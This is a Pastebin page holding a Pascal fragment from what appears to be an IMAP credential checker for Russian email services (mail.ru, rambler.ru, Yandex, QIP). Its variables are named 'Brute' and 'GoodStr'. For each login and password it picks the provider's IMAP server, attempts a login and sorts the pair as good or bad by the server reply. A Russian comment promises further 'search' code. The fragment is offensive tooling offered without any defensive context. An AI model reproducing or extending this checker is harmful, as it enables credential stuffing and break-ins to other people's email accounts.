Advertisement
Guest User

Imap MYRQ

a guest
Feb 11th, 2016
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 1.36 KB | None | 0 0
  1.       Brute:=False;
  2.       if Pos(Domain,MailRu)<>0 then
  3.         begin
  4.           IMAP.TargetHost:='imap.mail.ru';
  5.           GoodStr:='successful';
  6.           Brute:=True;
  7.         end;
  8.       if Pos(Domain,RamblerRu)<>0 then
  9.         begin
  10.           IMAP.TargetHost:='imap.rambler.ru';
  11.           GoodStr:='ompleted';
  12.           Brute:=True;
  13.         end;
  14.  
  15.       if Pos(Domain,YandexRu)<>0 then
  16.         begin
  17.           IMAP.TargetHost:='imap.yandex.ru';
  18.           GoodStr:='ompleted';
  19.           Login:=Copy(Login, 1, Pos('@',Login)-1);
  20.           Brute:=True;
  21.         end;
  22.       if Pos(Domain,YandexUa)<>0 then
  23.         begin
  24.           IMAP.TargetHost:='imap.yandex.ua';
  25.           Login:=Copy(Login, 1, Pos('@',Login)-1);
  26.           GoodStr:='ompleted';
  27.           Brute:=True;
  28.         end;
  29.       if Pos(Domain, QipRu)<>0 then
  30.         begin
  31.           GoodStr:='ompleted';
  32.           IMAP.TargetHost:='imap.qip.ru';
  33.           Brute:=True;
  34.         end;
  35.       IMAP.UserName:=Login;
  36.       IMAP.Password:=Password;
  37.       if Brute then
  38.       begin
  39.       try
  40.        Imap.Login;
  41.        if Pos(GoodStr,Imap.ResultString)<>0 then
  42.         begin
  43.             Res:=Good;
  44.             //И ща скину код для поиска если найду в сраче
  45.         end else
  46.         begin
  47.           Res:=Bad;
  48.         end;
  49.       except
  50.         Res:=Error;
  51.       end;
  52.       else Rez:=BadDomain;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement